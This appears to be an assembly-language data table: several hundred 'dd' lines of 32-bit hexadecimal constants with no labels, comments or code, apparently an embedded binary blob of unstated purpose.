dd 0F24FB9F5h, 9D1E0196h, 3974D595h, 4A6CD005h, 0A1B3D100h
dd 22CAB81Dh, 0CDC30ED0h, 2960ADF0h, 70E31366h, 9F44C616h
dd 5CE203AAh, 0CEB876BBh, 290F7B8Dh, 238E1FDFh, 80A4A643h
dd 0F690AF53h, 0A8265F34h, 5F3A0958h, 74D4005Ch, 0C9D90Dh
dd 16117A0h, 84CF6D07h, 554B6600h, 1656B4B1h, 1CB6763Ah
dd 0C02BA01Bh, 8822E413h, 97000B21h, 0FB38A910h, 4F4603h
dd 3CEE9ABDh, 8A1480A0h, 5A338D00h, 0D66C8EA9h, 9E7984h
dd 5F266F27h, 0DAA835EAh, 0D0700B00h, 3C64E49h, 1A5500CCh
dd 0B320C141h, 0B91FCE1Fh, 0E0300C92h, 8C06A9h, 470A33FDh
dd 0F7A0F288h, 0D668C900h, 0FC6044E7h, 7B0C7026h, 9904006Fh
dd 0DEBF2C82h, 0DC005DCEh, 689A1552h, 0EBF1B3h, 90A023Bh
dd 0A0D4C4C8h, 0F610E200h, 1E3697Dh, 87170F46h, 0AAC0E14Ch
dd 4F9E1C09h, 6E76D100h, 0AD0A7BDAh, 3687000Eh, 92FFCA64h
dd 3A01A416h, 0BE8C3E2Eh, 51D0EEAEh, 77E05Eh, 3B468AE9h
dd 0AB78FA10h, 5D096800h, 6FE32F9Ah, 96AD03E4h, 50FFAE21h
dd 512AD1C0h, 8488C00h, 7BE7B213h, 382900F0h, 0BCDC8191h
dd 3A002AEFh, 0DA854C7Fh, 0E5430DDh, 0D059E31Ah, 1C8DC4E3h
dd 4E4883B0h, 6195521Ch, 0F8C587DFh, 0B1C19CFEh, 0B1F8DEE0h
dd 0CD2B0009h, 2887DB5Eh, 0FE003A34h, 529243FDh, 9DF64Ah
dd 2D105B6Fh, 0D3BD1456h, 7BB37C00h, 15A4E883h, 38B79FBh
dd 87E5BA8Eh, 880C5C8h, 0FF0475D0h, 9F2BB826h, 0BFC27C80h
dd 0FD97016Bh, 0F62C5713h, 85B48094h, 0D1699045h, 0E29D0012h
dd 1E836D59h, 0DD000C3Ah, 0A993E6E7h, 44B66Bh, 34D2DCF3h
dd 33251DCAh, 0D9ED5906h, 48779Dh, 0F49AD7ABh, 0B507F5Bh
dd 6923800h, 3A0DBFF5h, 0B90800C2h, 46085E5h, 0A8B28ABAh
dd 547C0607h, 53508B16h, 17381B72h, 151CFEh, 0A52A6DFh
dd 0C100EE67h, 75F1094Eh, 77AAC8Bh, 5F79221Fh, 6807008Ch
dd 800648C9h, 0B3B56E88h, 66A60090h, 0BA295E2h, 81000F08h
dd 260CB951h, 3C90488h, 0EE153F2Ah, 0F290CB7Dh, 0C800FB2Fh
dd 61131F46h, 79A01005h, 1C2901D1h, 57B3D571h, 95A4C449h
dd 9CE0E207h, 0FDB017B9h, 74C339h, 0ABB4608Bh, 0CC670373h
dd 1FB5680Fh, 27FA005Fh, 14CBDDEDh, 9C8C1C40h, 1DB5B824h
dd 0FC1485DAh, 269E80B6h, 8B0160BEh, 76D3117Fh, 9EFC5161h
dd 841600FBh, 0BBF9C5B9h, 0A7124DC9h, 0F1DED2Dh, 59C6786h
dd 0B4950EE0h, 0BE20217Bh, 9BD7D585h, 6EACD000h, 7B2C490h
dd 5FFA0520h, 0C32AAF31h, 0A8C8C846h, 0DB00ED52h, 0F07EF2B8h
dd 39B5A1h, 564A1A50h, 84C8B78Ah, 5F12F8C1h, 9C70D203h
dd 2C6D1C8Dh, 53F86B8h, 7F2620B3h, 34033427h, 936494C2h
dd 0D8F2D062h, 2C20C083h, 0F86A7103h, 4DFCD100h, 86A1A98Fh
dd 0CEF500D0h, 0A5DD0145h, 9E006EECh, 0E2E5295h, 0B72D8Bh
dd 51DF5BCCh, 3A8934D5h, 5E9CF300h, 114DEDFEh, 19153C2Bh
dd 68F0C798h, 3000798Eh, 0AF7445D4h, 0CEB1A42h, 0F2062CA6h
dd 8E02E420h, 1C2E7940h, 0A04FC335h, 3CCBEB68h, 0FC8785B4h
dd 1065C6E0h, 83F65402h, 0A1273Ah, 9E9E69Ch, 0ECB2E855h
dd 0B83A0017h, 0CC9DD24Eh, 4207A3D0h, 49A81331h, 1F270FDBh
dd 0C788B40h, 1F8ADDFAh, 571868AAh, 1FD02085h, 54B0B437h
dd 65E91200h, 0CCE3A45Fh, 687E07B1h, 37BF7CF9h, 2F8C70C1h
dd 0E90082FAh, 0B0BB7166h, 708BEB7Fh, 85B701BDh, 0BA3210F2h
dd 0FDE840DBh, 5D3947F1h, 35C200A8h, 6E72D406h, 0FC6700F6h
dd 3DC5EEA5h, 0DD0075CCh, 87386AB7h, 5B5CBAh, 6E24239h
dd 2902553Bh, 0B9072CE0h, 0BBAFDC0Fh, 0D31867F0h, 21A20E9Bh
dd 8A80BC6Bh, 0F812CB4h, 619F3601h, 0C1C3096Ah, 5315D0h
dd 647AE1D4h, 972DF6C2h, 0A2871100h, 3AB12391h, 80B50719h
dd 0A047D86Ah, 0C6A02DAAh, 1F2C3675h, 0BC1E1D76h, 0B1D17800h
dd 1FF21F3h, 5CDC09FBh, 0F8459D04h, 0D6714F82h, 0F8963400h
dd 0C2B3635Ah, 0FA2600A6h, 66CF83AEh, 8D168C5Dh, 36001D68h
dd 2A87C8B6h, 463A6007h, 0DCFAEA63h, 19EB3D00h, 0A6C7B562h
dd 80540013h, 0F2C87AEFh, 0B1FA1670h, 6E53D81Dh, 634E7B00h
dd 0E5BE1F7h, 0C3ED21AAh, 6F9044E3h, 2D193100h, 32D4C287h
dd 3D88003Ah, 0C05E5D62h, 8000435Ch, 1B9C11E3h, 0F99D5Bh
dd 0E5718DA5h, 5DB45054h, 2875E7FAh, 22AF6200h, 0B6D9BB0Eh
dd 13000A6h, 0CA7926F6h, 88003893h, 1F3BD29Ch, 0C04C2A5Bh
dd 636CA498h, 0F40037D3h, 5FB57D70h, 1284009h, 75020A44h
dd 0BC563833h, 0D08B8550h, 0E3001AFEh, 0BDF9942h, 66F70972h
dd 0DE804581h, 9718F8DDh, 704F4B00h, 0E560CCA1h, 4376DF04h
dd 6D32501Bh, 0E81D3698h, 780B7C31h, 48201124h, 4838D499h
dd 0AEEE7B03h, 6A06D8Ah, 760235AFh, 7F9266A9h, 43CE04Eh
dd 8EE3125Fh, 0E1FD00D3h, 0BC556DBDh, 0C7BF3700h, 7A065403h
dd 0F4B00704h, 105EE764h, 7C7B8E1Ah, 0CB1CA200h, 0C6EA8513h
dd 0E27102C9h, 0D9589D27h, 3B2BEC40h, 117E5B00h, 7F2A1B79h
dd 495D00B0h, 0DBBC58ADh, 82139857h, 801C7CB8h, 5584833Ch
dd 80078E9Fh, 3351E9h, 79569919h, 381028E0h, 0F4F9D300h
dd 0E7F8FC1Dh, 55A20E82h, 4660174Fh, 0ED537AA0h, 7BA2E348h
dd 96503700h, 38A77E81h, 322F0007h, 308DEF77h, 5301CD09h
dd 178535ADh, 3F0DB96h, 696239FFh, 0ECCCC880h, 7A5BEDA8h
dd 39241672h, 4E000DE3h, 2FC731C5h, 6A790027h, 447003B2h
dd 0BB009543h, 81C42C4h, 0E9C3CF8h, 472BEEABh, 0F2F8FE9Eh
dd 0D0B60F29h, 5D23F054h, 0E8750E7h, 6ADD3580h, 7C0189E5h
dd 439B8CA5h, 0D7DE67FFh, 14349540h, 0F38DE800h, 0AD5F0D95h
dd 0E571E4h, 0DFDA7772h, 0C2C8272Bh, 1DB54B00h, 8FE47B17h
dd 0E8310EABh, 2B63A526h, 0A3FFA0B0h, 403A12F3h, 50340058h
dd 934AEE3Dh, 7ED7DE3h, 0FDEC10A3h, 2C37B3F5h, 30187FB1h
dd 5100272Eh, 6560C93Fh, 0D1FBB4h, 0E86FEAD3h, 755E1633h
dd 0F1B15B8h, 0A8600113h, 1DCFD972h, 76E0618h, 8053E830h
dd 0D722BC99h, 1100F573h, 4382E0CDh, 0EBA9ADh, 45EE4ACh
dd 24B1C674h, 0C2F64700h, 95F5893Eh, 0F7070031h, 9222BD23h
dd 0AA00C0F3h, 0B6CB2B25h, 0EE6E0Dh, 0EBF75B5Fh, 0E291A908h
dd 104A6D06h, 196329h, 27DA4995h, 1B08D556h, 0F326A8C0h
dd 9F132h, 0E8ACC612h, 0A1CA80D8h, 0C4331400h, 4082455h
dd 5B4A0094h, 99D87AA3h, 8F00733Dh, 0E8B9A940h, 271BE5h
dd 418C0D2Dh, 30969AE3h, 0E2995Ch, 0AEC42262h, 5680637h
dd 4BF829B4h, 0A822C12Ah
dd 0EAF85881h, 4444B340h, 0A3004513h, 34561CE5h, 0B03B03h
dd 2F7FEA9Bh, 9CF1C1E0h, 37125900h, 0E9FA898Ch, 0C8A100E8h
dd 10469723h, 84000FB1h, 0EBD0BAEEh, 0D91938h, 0C9DF2DBBh
dd 0CC93715Ch, 110A0C0Ah, 35078244h, 60897994h, 0FE14845h
dd 0F37CB1D6h, 86ED07BEh, 7811D0AEh, 3C3E0B33h, 10E8093h
dd 88739BE9h, 0A2E04851h, 0C89C0907h, 3A8329D4h, 70D7C9FDh
dd 0EF2728F8h, 39EAFE38h, 0F7D880A0h, 55C6D7C1h, 9335001Eh
dd 5363406Eh, 0FF019F78h, 3D772CD9h, 0AEC1F4E1h, 176C4E0h
dd 6E9B4013h, 0D73A732Bh, 948A8CE0h, 989DFB00h, 0C0E0416Fh
dd 5A340129h, 0D92440B3h, 0B4618E03h, 0EF9253h, 2CC5A7CDh
dd 0B200BCFDh, 441FADC7h, 3D906B9h, 0E27BDEFEh, 107EBA82h
dd 0A5668710h, 0C20FBE80h, 0EF008189h, 0E1422BB5h, 76C1B2B6h
dd 8D750E0Dh, 63C0A844h, 461B94EBh, 763AFD00h, 0DE54C3E1h
dd 71BB024Ch, 16A6ACA3h, 32AB4160h, 932DD300h, 7EF8A8DAh
dd 895A3F6Fh, 69006F4Ch, 0C2241535h, 7209501Eh, 73EF5E9h
dd 0D8BC293Ch, 42813E87h, 0D5256900h, 3FF98F09h, 0F3E76B0Ah
dd 0CD20A4A4h, 27B5C702h, 0E0AF514Fh, 0FA10C3h, 5F2A77B1h
dd 5C99FEA6h, 9B0059E8h, 8D25DBEDh, 571A4Ch, 0EC7D7168h
dd 4F9C795Eh, 3F561F00h, 0F3D51250h, 0DCD8E9D3h, 3CC70FD2h
dd 0C280D767h, 0C180F50Eh, 25EB3A00h, 1BB0C88Ch, 96590073h
dd 0E8C414CBh, 3F07BF8Fh, 0BA801686h, 0F1C51E40h, 77300D3h
dd 83D22BE4h, 0BF006AA9h, 70DCF312h, 84B66Dh, 0D99894C6h
dd 69A1B22Eh, 6BE3C000h, 0DD3B1477h, 8BFC009Fh, 0C5E2CF90h
dd 86070AF8h, 1D5DD219h, 0A6CBF520h, 18A400A0h, 0EC2D055Fh
dd 0EA4CE07Bh, 7E2F00AAh, 0F879E3EEh, 5E2B00E6h, 8765C498h
dd 561CE067h, 83402DD0h, 3416C077h, 28FCD3h, 55CA31ACh
dd 0FEA8FAE1h, 76F89A67h, 0C6D28CE0h, 0D3900285h, 0ED0FCD4h
dd 839716C1h, 5BCBA310h, 3D74D0A9h, 11DE4ABh, 65E8F686h
dd 7059E666h, 0ED07B018h, 288F6C23h, 0E4E77050h, 4C20004Bh
dd 568B4332h, 0BF1D0296h, 0F7EA0D4h, 87EB516Bh, 0D1402805h
dd 90F424ABh, 8599000Dh, 0ECE9EE2Eh, 3B009E55h, 0FC00DB3h
dd 1F3ECD6Dh, 0C033B0F1h, 365572FDh, 19F25134h, 0DD5B4501h
dd 54A0C409h, 35056E8h, 6CF385E5h, 0C3F794B1h, 45C8C2AAh
dd 4200EE81h, 676BE2B8h, 18A03C5h, 1FEF62CEh, 0ECD4FC19h
dd 0B00A97Bh, 0FD3A75B1h, 904EB580h, 7C210059h, 0DAD9AFB9h
dd 0F800837Fh, 0A070481Ah, 6C74F4h, 60985A11h, 0B168FE19h
dd 8B00F97Bh, 5F594857h, 926DF66h, 8AE5EC83h, 53ABB980h
dd 9D00AD9Bh, 882DF7C2h, 3F1106Dh, 70D53C9Fh, 33E0CB6Bh
dd 4760C10Eh, 0D644FAD0h, 1A2E00CFh, 0D2612578h, 8700CEA9h
dd 56EB1C43h, 21F722h, 74420F75h, 6B41E812h, 1EECAD00h
dd 6E8FA87Ch, 88B900DAh, 0CD7237DBh, 0FE00F361h, 77D27A18h
dd 0E280F2h, 24D40394h, 2B9AC2A3h, 30237D00h, 0C7C1A6E7h
dd 3CAD006Dh, 8072FF20h, 0BC0041EAh, 56F30AA9h, 0B7D30Dh
dd 1CDF7329h, 8B0B826Ah, 1D0078FEh, 754BB92Ch, 0F2E01516h
dd 12AB02EEh, 8C6B3008h, 0DEC654E0h, 57BE1A00h, 0A93AB027h
dd 9AEE1888h, 0B65A43Fh, 2A10981Ch, 76663280h, 0EAC5AE7h
dd 81AF034Eh, 0F4C8B340h, 3274C7F8h, 63F06B00h, 99A6BCA9h
dd 0EFD300F5h, 5DBF1F90h, 2F01CC01h, 4E42FCFFh, 0C20E46Eh
dd 0B5FB1D5Fh, 75783049h, 0E31D7DD6h, 0BC0189CAh, 0A8F518CBh
dd 51911040h, 110B0EE4h, 31C2158Ch, 0FBC36993h, 7978B87Eh
dd 0CB071200h, 1DE83472h, 0FD8B1ED1h, 0B7E68754h, 0B0C19F2Bh
dd 403E06BDh, 0C705EE08h, 93F40D1Fh, 98F5780Ch, 0F36876ADh
dd 7DF019ECh, 202E03CCh, 41DD6D15h, 3E99000h, 0D66FC432h
dd 0E7680047h, 0B87DE1C8h, 0F5283CCBh, 93185C54h, 5DF1DD1Dh
dd 3A567A89h, 0C50A81B6h, 16144BF4h, 472C02ABh, 17C0CF38h
dd 0B503CABFh, 81BBADA4h, 82F0E7E5h, 71FF12h, 2396C3D8h
dd 802BB010h, 616FCB00h, 4BB1068Fh, 82FD03FBh, 532994EEh
dd 981ECC80h, 9BBAEA01h, 3116E726h, 0D8D70480h, 51E13B05h
dd 83FE9576h, 0A88AAB24h, 0E7C09E1Dh, 48638237h, 0DAB34826h
dd 7700DD39h, 0F83D7DB5h, 0B07435Bh, 9EE4AFF2h, 8035FE91h
dd 61F04F20h, 2388F094h, 2252FC6Dh, 8665CB01h, 872C8F03h
dd 780D0h, 0A2DC173Fh, 260B5788h, 480AE076h, 0B4D1F05Fh
dd 7D7F9B80h, 30A12Dh, 0CBAD1A75h, 50468ABFh, 9A8D5A00h
dd 697FC70Fh, 0DC2C0FACh, 430FE532h, 0F7A4D400h, 47336F1h
dd 6D05ADE4h, 5DDEB431h, 0EC7FB800h, 98BF22h, 2770D928h
dd 0A475198Fh, 0EBC19D0Fh, 0CED2E0DAh, 7329Bh, 316152A2h
dd 0E4A67F69h, 48950803h, 0A8B0E529h, 4DB6D27Bh, 40078EFh
dd 5BFA1FA2h, 47307768h, 0F2BF7058h, 82390096h, 0F42EDC05h
dd 690CE366h, 50DA146Ah, 62A902B7h, 42B25699h, 5B3900DDh
dd 5E6AD8h, 37CF259Fh, 0D969DFA3h, 30B74D00h, 4CAE75DDh
dd 0C7BF872h, 0C248D685h, 80000818h, 0EC20EE51h, 7A2180Fh
dd 6F72536Ah, 61B6C0FDh, 9177513h, 0D507176Eh, 0C70C46Ch
dd 0C8E569h, 4C02C97Bh, 0E2750BAh, 8646183Fh, 0C505DCDFh
dd 62048560h, 188874ACh, 2550D704h, 55F00069h, 0D570AFDEh
dd 9D000FD7h, 4091999Fh, 0A52583h, 3A8C808Fh, 5CF13AAh
dd 0F7087900h, 0FEE4F547h, 32F6000Dh, 0BF99B0DDh, 0D4075021h
dd 0CD55C5EAh, 596AE5E1h, 0FCB14760h, 56DD1283h, 3A301D4h
dd 4EFDAB12h, 72A60820h, 83D96112h, 0A1E0E3F5h, 509E475h
dd 2EB6F0F4h, 2BBD2030h, 1E323A0Eh, 0E2D2E98h, 119860DBh
dd 0FD00BAA0h, 97374B44h, 17E7B4F6h, 5E039BBh, 804512A0h
dd 0BE0E17CFh, 0E297F903h, 0A2150F18h, 9C848059h, 3D4C5CBDh
dd 2D8C37E0h, 5589995Ah, 7930E7EAh, 0BAAA28B5h, 687F6829h
dd 17C740B4h, 23001A36h, 9D8A1483h, 0A885BABh, 92CD0787h
dd 0BBD10D30h, 1B08238h, 8A0B1B6h, 8AEE4020h, 0CB218D66h
dd 18A450EFh, 0C10FD647h, 0CBA25CD3h, 213E9925h, 0C04C0E78h
dd 0C67104CAh, 7806C259h, 8441DF7Ch, 904FA99Fh, 0D79B3B28h
dd 40E648h, 18794D56h, 5B4CF0Ch, 9669017Ah, 0C2DA0308h
dd 0DCE33EF4h, 57310FB0h, 6C03D476h, 7A4A99B2h, 20AAC752h
dd 0DA3FFABDh, 2D229176h, 76214EF2h, 98304965h, 811091A7h
dd 50359C13h, 0D403CEB5h, 0A245E496h, 10841476h, 0C1035B85h
dd 48B94773h, 98100E20h, 0E5A9346Eh, 8C000E0Dh, 0E9DC499Bh
dd 0A24630E7h, 10670A86h, 0A0002084h, 21174FF6h, 3EE7EAC4h
dd 0C2C36510h, 3B40FA5Ah, 1A7B8002h, 3EE3CBC2h, 28853A7Ch
dd 7D2904B0h, 7CE33139h, 203D565Ah, 5C9C3000h, 0E2ACFE06h
dd 0BA8A40ADh, 0AD532036h, 0E01573C7h, 0A7EE206Dh, 1F622EE0h
dd 0C5948060h, 984131AFh, 0F7DD0354h, 0AAC8B9Bh, 52AEEDC0h
dd 46260301h, 274F7705h, 12EA2C20h, 3FFC54Dh, 0CBC66A44h
dd 768ECAC0h, 420E456h, 5E3E5C1h, 8FB6102Ah, 8060B4E0h
dd 0E4389A23h, 11073CB2h, 0B89EB702h, 3BAE3AD7h, 9A593F21h
dd 3A71804Bh, 0FD0885AEh, 82F96B31h, 0B340600Bh, 0AF93C996h
dd 208E1440h, 889FBDB0h, 0E1054223h, 0B75A12Ah, 0F3FE6B05h
dd 1640789Ch, 21B641C1h, 2882107Bh, 94965831h, 2A02A866h
dd 5B4C5F8Ah, 0B8131556h
dd 4082E82Dh, 8419E575h, 0BC4408C5h, 9F28302Dh, 0F660B808h
dd 1B70F899h, 94390085h, 4F674AD3h, 3BADC0C4h, 4C230468h
dd 8AF180E0h, 0F5C28E9h, 740A40AFh, 0C0516019h, 0AF0A0720h
dd 0B0881020h, 7FC1D3BEh, 6280A51Fh, 68C418CCh, 2333B111h
dd 0E03E7608h, 47A7750h, 0D2896FB0h, 23027C31h, 40B053DFh
dd 421328D1h, 0DD52A19Eh, 592B020Eh, 3E072D03h, 0F5C0B643h
dd 320DCEF3h, 600A948Fh, 1DECDEB0h, 88400657h, 61A278A6h
dd 30A75411h, 2096BAF2h, 0B61190E8h, 7EF231F9h, 228CB020h
dd 528C710h, 2C30CB76h, 0C804E2ECh, 0E357586Bh, 0F058AB7Ch
dd 4CC0A4ECh, 2374D86Bh, 0A7E2DD09h, 53B310F0h, 269D4B40h
dd 0E048F286h, 0D0BE0F36h, 0F2C90547h, 70056896h, 0FB8F29AEh
dd 0B2208E11h, 0AF0A1EFEh, 40E95221h, 8833DAF1h, 0E8CA76C8h
dd 0E6EA1B01h, 131F86DEh, 8381428h, 0C6AE1369h, 26A82A5Eh
dd 25782894h, 2AC0D204h, 1B6C1408h, 0E72FA020h, 87F423E1h
dd 141A20E2h, 288AF202h, 15827DF9h, 70152408h, 0F77A80Ah
dd 0F81460AFh, 945CB080h, 1BFB10FDh, 0A5B0A82Ah, 0EE3D8220h
dd 10152CDBh, 0D024B1FCh, 72864CFCh, 0B4968FECh, 1542683Ch
dd 20CD34DBh, 3F16C8E2h, 2475D7BBh, 54200DC4h, 5848C93Ch
dd 5ACDB0C8h, 205EE35Dh, 0D61A0C08h, 2B89CA58h, 0C560E425h
dd 508CFC0h, 5F06DF68h, 0AEC44078h, 0D3C20220h, 0CB820D7Bh
dd 1812E095h, 9DE0603Dh, 202D57EAh, 896F48Bh, 8C90C0C0h
dd 8FC53867h, 0B0200894h, 0B1874DB1h, 534C58E8h, 0C080E052h
dd 0FA47BF1Fh, 1C908F86h, 550A40B6h, 40CAE042h, 0A51B50F0h
dd 5C5B0220h, 40BCFB7Eh, 0B19D420h, 4FADAF7Bh, 8DDD3480h
dd 253E80C4h, 0E62B033Eh, 5B31187h, 0D2150E38h, 7628074Ah
dd 0C817843h, 0AD2B7D74h, 0A8C5D0h, 30C29E25h, 0E7994813h
dd 841CD54Fh, 0B914E026h, 4F361028h, 7C88130Ah, 683E4420h
dd 0F4964095h, 6BB90518h, 372E76F8h, 0C3594943h, 317C0415h
dd 1FAD2F22h, 205485FDh, 7B9D5817h, 0AE11C046h, 0C1C00E78h
dd 79414BEBh, 8C323DB6h, 90B44F38h, 693300C5h, 55F76292h
dd 45FA4974h, 0B300D27Bh, 4C16A0AEh, 0EAACB176h, 4A0509B2h
dd 0E481CF3Dh, 875C5481h, 290DDDD0h, 2E1A508Ch, 0FCE73Ch
dd 53BC76B9h, 0B700AE50h, 56D93129h, 2AB1ABD4h, 3C8C3DCh
dd 6AE6F613h, 14A84CD7h, 5A3E16D4h, 38DC21h, 2D5B93DEh
dd 3C320758h, 750047DDh, 8F169EF1h, 0EA0FA4D7h, 9E0E55Ch
dd 30A0E015h, 0E387FBFh, 7E02AA24h, 4F589C03h, 0E8CF41F8h
dd 0EA798803h, 0D887C764h, 0EC35D37Ch, 0F1FA0092h, 2BE497F8h
dd 5400E8C2h, 9CEBEFB8h, 1443B8Ch, 79FA4C42h, 0E005AE27h
dd 8500D555h, 0B888087Bh, 0F3FE64Eh, 0D6C9C40Ah, 0C31B5780h
dd 541FACBAh, 0BFC71A4Dh, 552065C1h, 2F8BB8h, 9551E0ECh
dd 58DB216Ch, 60A1613Eh, 0E6C0B330h, 64A00F3Ah, 1818559Bh
dd 740F63D7h, 5BB99D0h, 18001B7Bh, 39DCFB3Eh, 0E7801841h
dd 0FAD4A068h, 2E388C1h, 0A09B86B8h, 0B99B78E0h, 24BB3800h
dd 0A17765FFh, 78AD675Eh, 0D26A96EBh, 73FB9200h, 0AFC5CC9Ah
dd 4D5B0A85h, 57A803B4h, 0BEE5B080h, 189B990Fh, 819140D0h
dd 22305004h, 39C8F915h, 8B18C0CDh, 0B6347BA3h, 0ACC7C8CAh
dd 0F231E280h, 0E2E0BD33h, 0A3A81E84h, 34888243h, 8081DC37h
dd 40B538DFh, 70D35270h, 58F66206h, 1E191978h, 0C1AE4E42h
dd 569CBDD9h, 8F80110Dh, 0E78B398Ah, 0B80500E0h, 9B98C2EAh
dd 87FF9A18h, 28D6B488h, 0F6507F35h, 8C6400C5h, 91EDC37Bh
dd 72289FF1h, 0E3001020h, 0B34DAD50h, 0A83AE488h, 0EF2CDC8h
dd 7940CC9Dh, 0FCF60597h, 0A3D4098Ch, 0A1040C10h, 708FD62Ah
dd 1C207B0Ah, 8900C85Ah, 585F7C6Eh, 0B0B804EDh, 0BF800F2Bh
dd 7F4D2400h, 60E039C9h, 309A38D1h, 72399DC2h, 0D9B28313h
dd 837F4Fh, 33865268h, 0BC148F63h, 1F4BF940h, 1506C842h
dd 2B0E884Eh, 51E31DBDh, 80789708h, 0F4833928h, 6AA28B04h
dd 248891EBh, 2DB200FEh, 2A638736h, 0B007F0Eh, 1A243C6Bh
dd 0E6F9A3Fh, 25A74F60h, 7780548Fh, 0C8C48C6Eh, 0A56F10Fh
dd 2ADF036Dh, 0C0B5C0C5h, 10BF244h, 427DC3A9h, 0D83F769Dh
dd 827824B0h, 97C65F01h, 7CB9E4CCh, 2125E0h, 64BCC807h
dd 6E354F7Dh, 0A794E0Fh, 2BDB8011h, 18A1F362h, 0A8C5720Ch
dd 0A703EF22h, 94602320h, 0C991E1BBh, 0CB317DCh, 3F260A67h
dd 8C42B119h, 8424FE10h, 3221B765h, 62A50025h, 21BE3E7Bh
dd 0A60B0300h, 0E68364FBh, 222F41Fh, 0ABA83C00h, 1E61710Ah
dd 0F00431h, 416C4E96h, 0C30333D7h, 790FABAEh, 262809E1h
dd 9D837CB4h, 181002DCh, 0C282AAC6h, 6C0322E3h, 0CE310CA9h
dd 0C3C008E8h, 8F329D0Eh, 2BDA01EDh, 7B02F992h, 0EE833E63h
dd 7CB02580h, 6A602850h, 20E75801h, 0A9CC917h, 7C48245Ch
dd 0F810F91Fh, 28E0FFD1h, 0BB103481h, 1D28726Ah, 30869024h
dd 0F108621Fh, 1DC4CE46h, 1F6B0218h, 30EF4179h, 0E2878098h
dd 7FE820D8h, 8CC90050h, 8367122Dh, 88A0139Eh, 2B14C5C7h
dd 0FA43466h, 1EF6046Ch, 4E310350h, 1E8288h, 0F0AB8D4Dh
dd 0DC40E195h, 0E69D696Bh, 7CC0C0D7h, 4A803AE7h, 0D28C0150h
dd 0EF538D7Ah, 883A083Ch, 717A44DDh, 0D10D06EFh, 0C4D3191Dh
dd 18D1DB31h, 0EC2E21B2h, 0C7415F08h, 94788AD6h, 3C44964Ah
dd 23394363h, 0AFE9880Ah, 78007765h, 343A62F2h, 25ECA09Ch
dd 0BD31CE42h, 3A610611h, 1E21A84Ch, 0CACAE69Bh, 4B3092D2h
dd 23C9B05h, 0ECDA2818h, 0C2807D20h, 9DB06Ah, 0A6103E17h
dd 31B62BC4h, 47219CACh, 939E8805h, 18B50DC2h, 7E8CD65Bh
dd 0EB23863Eh, 0C57A045Ch, 0EBE2122h, 0E9DB3C48h, 108EB60Ch
dd 843C03A1h, 5261D783h, 0EB55102Dh, 0D0E850CAh, 48F7040Ah
dd 91251FE4h, 48D59F9Ch, 0EDFE361Ch, 1CC358A1h, 0F45B53C2h
dd 97881A23h, 1E0E6201h, 86C91130h, 3D583B53h, 3F3C542Ah
dd 0A154244h, 0F2AF44BFh, 790A0D94h, 4CF8D931h, 414643ACh
dd 0C6F3A610h, 2A94226h, 3B416E33h, 0E442C2E3h, 52159C99h
dd 6338426Ch, 6478636h, 0C4CB7910h, 609FD4C7h, 20BE310Ah
dd 0D6530818h, 42E015F8h, 0D89B2B3Fh, 84DA328Ah, 30421F62h
dd 6CA94E82h, 9F30FE0Ah, 11C242D6h, 0F985B6DEh, 0B3C4AE1h
dd 995EE2D8h, 8328F19h, 62C0E28Ah, 3C9040DAh, 2386E41Fh
dd 510A1DCEh, 3A61A892h, 3C50EDE7h, 84EE3D62h, 7A2B5B47h
dd 225612FCh, 0FC8636A8h, 0FC81114Eh, 932C2050h, 0A186892h
dd 9260E28Ah, 22A8A6D0h, 0C0095D1Bh, 2AF7EB56h, 0E5144488h
dd 9A7811D8h, 108E9B10h, 4FC4E799h, 0AE2261D6h, 46039C4Ch
dd 0BE1E085Dh, 35E64123h, 214F0CF0h, 0AA08C307h, 989DC493h
dd 218EBF14h, 3394D2BEh, 5AAEC23Ch, 0C7500DCh, 0EA0181DFh
dd 0ED0A943Eh, 0A8600307h, 827C1683h, 6CF4421Fh, 7A07ABB3h
dd 74C70D3h, 0C0A92150h, 2932C195h, 0B00CC363h, 515B9CE6h
dd 5741186Bh, 0EE0D837h, 36F224A6h, 21AA5E04h, 7E22C375h
dd 81E664C8h, 483DBF37h, 0AD5A2BF2h, 58116090h, 4001A92Fh
dd 170472AAh, 0E2409h, 0A28890C2h, 456DDE78h, 204865F7h
dd 0D241B794h, 0C0B95460h, 0B1826559h, 0F81A5276h, 5719BEFh
dd 0CC94AB94h, 8DF49429h, 0E5E0C45Dh, 462201CDh, 818202D0h
dd 7CAF272Bh, 0D9210882h
dd 38161480h, 0B3486E90h, 3BD00420h, 0A480D580h, 0E8EFC92Bh
dd 0E1F1637Ch, 0FBA3E5ABh, 66203088h, 0FF60407Ch, 7F43C3A0h
dd 9FCCA828h, 0CDE08BEBh, 0A4A683E5h, 6595CB20h, 0C0762433h
dd 0AD6B472Ch, 29C03492h, 901F5F26h, 938B206h, 6D166174h
dd 82C81C48h, 65A4AD54h, 0C88B5A3Ah, 3B6A00E0h, 3E0592E5h
dd 39E0CA8Fh, 16E83268h, 500474EBh, 0A90BA071h, 52BF405h
dd 803860h, 4B30483Ch, 8DE0BA1Fh, 3678A9E8h, 7F74718h
dd 5462AC11h, 2C83AC6Fh, 8F481D6Ah, 185898BDh, 6212A88Fh
dd 909050DCh, 0A8AA6E3Ah, 14CDBCE0h, 0E88FF01Fh, 3AA74B82h
dd 13283091h, 3227E4ABh, 9303042Bh, 0E0B147A8h, 0F04C5A00h
dd 0FD495914h, 0B7FF1D0Ah, 13044898h, 0A64020C1h, 3A7C9260h
dd 6A81C8A8h, 49F092Eh, 0C206426h, 33D4F700h, 0CD88E37Bh
dd 531F028Ch, 0EB4E8332h, 1FAE040h, 0E0183355h, 0A52A3173h
dd 4C1FB4AAh, 41C234F4h, 0CAF733D5h, 687840ECh, 67B088ECh
dd 0F1260830h, 80B1A96Ah, 5E2683C7h, 0BB02C4AEh, 5229AF66h
dd 5928C4BCh, 0D101EB4h, 9AC5C898h, 0F6BA98A8h, 711F1890h
dd 0FB4466A8h, 3880151Eh, 282BCFCAh, 189CD803h, 91729CE0h
dd 272C2852h, 0D0AAECFFh, 8BB8C600h, 251DE405h, 0F8C507B6h
dd 0FC9B5969h, 0B01096D0h, 0D004881Eh, 93DA132Bh, 8CFB8040h
dd 3F121875h, 90C1EB3Dh, 8EED671Fh, 969BB840h, 0B0C23090h
dd 47297428h, 69055491h, 48037A27h, 0AB0383Ah, 0F03BF651h
dd 7D9287A8h, 0CBC83F5h, 51741005h, 6000C8D6h, 0BDEC3921h
dd 5016011Eh, 0DA9CE284h, 3349848Ah, 380006BFh, 6B265401h
dd 0B4274228h, 2CCD0A2Ah, 695B6213h, 24E32C04h, 21257900h
dd 1C9A180Ah, 47D03754h, 81EC1648h, 0D01FE9BCh, 27982450h
